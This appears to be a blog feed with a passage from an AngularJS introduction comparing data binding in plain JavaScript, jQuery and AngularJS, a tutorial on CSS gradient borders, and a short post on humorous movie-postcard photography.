  • Share data between controllers
  • Enhance HTML
  • DOM manipulation with the help of jQlite (built-in)
  • AJAX
  • Routing
  • Testing
  • and many more
A Comparison

Now, let’s take a peek on how AngularJS works by comparing it to the regular JavaScript and jQuery.

Vanilla JavaScript

Without using any JavaScript library, this is how it looks when you display the data you input in real-time.

<html> <head> <title>Vanilla JavaScript</title> </head> <body> Name: <input id="textInput" type="text" /> <br/> Your name is <span id="name"></span> <script> var textInputElement = document.getElementById('textInput'), nameElement = document.getElementById('name'); textInputElement.addEventListener('keyup',function(){ var text = textInputElement.value; nameElement.innerHTML = text; }); </script> </body> </html> JQuery

With jQuery, displaying the data you input becomes much simpler since most of the back and forth is handled by jQuery. Thus, enabling you to write less code.

<html> <head> <title>jQuery</title> <script src="http://code.jquery.com/jquery-2.1.1.min.js"></script> </head> <body> Name: <input id="textInput" type="text"/> <br/> Your name is <span id="name"></span> <script> $('#textInput').on('keyup',function(){ $('#name').html($('#textInput').val()); }); </script> </body> </html> AngularJS

AngularJS takes everything up a notch. Not only is the framework lightweight, the way you write your HTML becomes easier too.

<!DOCTYPE html> <html ng-app> <head> <script src="angular.min.js"></script> <title>AngularJS</title> </head> <body> Name: <input type="text" ng-model="name" /> <br /> Your name is {{ name }} </body> </html>

As demonstrated above, the beauty of AngularJS lies in making you write less code while maintaining integrity for your application. There is little back and forth across the code, since most of the stringing up of modules is done by AngularJS. Another noteworthy thing is that you don’t have to manipulate the controllers in order to make changes on the view.

Limitations of AngularJS

AngularJS is not all sunshine and rainbows. If you are aiming to create an application that does simple calculations – a calculator, a puzzle game, animations, dynamic forms and the like – then AngularJS is the framework you are looking for.

However, if you are building a big and intensive application like a management tool, you might want to veer off from AngularJS since it’s not developed for that, or at least use other frameworks in conjunction.

AngularJS is built for rapid prototyping, specifically for generic applications, but there are instances when you can use it to build applications of larger scales, but that is yet to gain popularity.

AngularJS Resources

Learn the fundamentals of AngularJS at CodeSchool. It’s a free course that is sponsored by Google. It teaches one how AngularJS can be used from many different angles. Don’t forget to check out AngularJS’ YouTube channel where the developers themselves publish tutorials and news updates.

But if you are more of a documentation sort of developer, you might want to check out the AngularJS API documentation. For people who are proficient in JavaScript, this documentation should be easy enough to breeze through.

You don’t need to reinvent the wheel either as there are a lot of modules that you can use and improve at ngmodules.org’s repository.

If you have the funds and are serious about learning AngularJS, I highly recommend checking AngularCourse.com with its 7 hour HD video course that will help you build a real-life product.

Are you a redditor? If you are, you can check out /r/angularjs for community discussion and support.

AngularJS In Action ngSweetAlert

It’s a very sweet replacement for JavaScript’s monotonous “Alert”.

Angular-nvD3 Charts

As previously mentioned, you can use AngularJS for simple to intermediate calculations. Using Angular-nvD3, you can customize your charts according to your needs.

Shaking Login Form

You can even spice up your forms while having validation. Don’t forget to check out the tutorial!

AngularJS Sliding and Word Search Puzzle

This simple puzzle shows how flexible and simple AngularJS is. Don’t forget to fork it on Github as well.

2048 Game

Remember this game? It’s 2048 and the number is nowhere to be seen because I don’t want to get addicted again. The game has been remade using AngularJS. How cool is that? Check out the tutorial and learn for yourself!

Conclusion

AngularJS is a powerful framework that can help developers expedite development of web applications. The use of AngularJS is becoming more and more popular as the days go by, and I highly recommend hopping on the trend as there is a dynamic and helpful community out there waiting for you to join!

Related posts:

  1. Web Design: How to Create A Sleek Web Audio Player
  2. How To Remove Unnecessary Modules in jQuery
  3. How to Implement Infinite Page Scroll Effect in Static Webpages [Tutorial]
  4. Create Beautiful <SELECT> Dropdown With EasyDropDown.js








How To Create CSS Gradient Border Colors

hongkiat.com - Tue, 10/21/2014 - 12:01
This article is part of our "HTML5/CSS3 Tutorials series" - dedicated to help make you a better designer and/or developer. Click here to see more articles from the same series.

With all the new features in CSS3, we are now able to build image-less websites. In the past, the use of image was inevitable when it comes to showing gradient colors. Today, it becomes much leaner with the use of CSS3 Gradient Background. In previous posts, we have shown you how to bring CSS3 Gradient into play as a background color in various forms and directions; Linear, Elliptical, and Repeating gradients.

But CSS3 Gradient does not stop only for background use. Did you know that you can also utilize it within borders? Read on to learn how to do this.

First Method

The first method is by applying CSS3 Gradient within pseudo-elements. Well, let’s see how the trick works.

Top to Bottom gradient border

We will start off with a simple gradient that spreads from top to bottom. To get started, create a box with a div, as follows.

HTML

<div class="box"></div>

CSS

.box { width: 400px; height: 400px; background: #eee; }

To form the gradient in the box borders, set a solid border on the top and bottom side of the box first. We also create 2 rectangles with 2 pseudo-elements — :before and :after — and specify the width in the same size as the box border width. Position the rectangles on the left and right side of the box and employ linear-gradient through background-image. You can see how this trick turns out below:

Left to Right Border Gradient

Now let’s create a gradient that spans to the left and right in an identical manner to the previous example. Only, this time, we’ll add the box border on left and right side, instead of on top and bottom. Similarly, we also utilize pseudo-element — :before and :after — to shape 2 rectangles. But, contrary to the previous example, we now place them at the top and bottom side of the box.

Diagonal Border Gradient

Creating diagonal gradient with this trick is, well, technically complicated.

Still, we rely on 2 pseudo-elements, :before and :after and use linear-gradient. This time, however, we will employ 2 linear-gradient within the pseudo-element. And each gradient spans in opposition to one another. See the following source code for the details.

Second Trick

The second method is by using CSS3 border-image property. The border-image property in CSS3 allows us to fill the border with an image as well as CSS3 Gradient. The browsers support for border-image are quite great; Chrome, Internet Explorer 11, Firefox, Safari, and Opera are all capable to fully render border-image. It should be noted, however, that the border-image will only work on rectangular shapes or boxes. That means adding border-radius will deviate the border-image output.

The following is the border-image property specification:

border-image: <source> <slice> <width> <outset> <repeat|initial|inherit>;

The <source> is the path that specifies the image used in the border. Herein, we will fill it out with CSS3 Gradient instead. To achieve the same output as in the previous examples, we apply the CSS3 Gradient within the border-image, as follows.

.box{ width: 250px; height: 250px; background: #eee; border: 20px solid transparent; -moz-border-image: -moz-linear-gradient(top, #3acfd5 0%, #3a4ed5 100%); -webkit-border-image: -webkit-linear-gradient(top, #3acfd5 0%, #3a4ed5 100%); border-image: linear-gradient(to bottom, #3acfd5 0%, #3a4ed5 100%); border-image-slice: 1; }

The border-image will show nothing if we don’t specify the border width. So, as you can see above, we add 20px of border width with transparent border color. Then, we set the value of theborder-imageandlinear-gradient along with the vendor prefix for earlier Webkit and Firefox versions.

The addition of border-image-slice shown above will set the inner offsets of the image-border content. This property is required to display the gradient fully within the surrounding area of the box. See the output below:

This method offers more flexibility to adjust the gradient in every possible direction; left to right, top to bottom, diagonal, or at an angle. Below are some examples:

Left to right gradient

Diagonal Gradient

Related posts:

  1. UI Design: Creating Cool OS X Flip Effect with CSS3 3D Rotation
  2. Web Design: A Guide to CSS3 pseudo-classes
  3. Web Design: Hide / Show Notification Bar With CSS3
  4. How To Style HTML5 Range Slider Across Multiple Browsers








Using Movie Postcards In A Creative Way

hongkiat.com - Mon, 10/20/2014 - 17:01

One of the most common forms of entertainment is watching movies. And of course, they need to get the word out about all the upcoming blockbusters, right? One of the ways that advertisers do this is through movie postcards. Cheap, compact and it makes a great keepsake for fans too.

You may not realize it but they’ve also got artistic and comedic potential. One individual named Jaemy Choong realized this and with the help of friends and props, he has brought movie postcards to a whole other level. Featuring a variety of leading characters, have a look at his work below that will definitely make you chuckle and if you want more, check out his Instagram here.

More Creative Art – Realistic Finger Painting by Zaria Forman »

No related posts.








Pages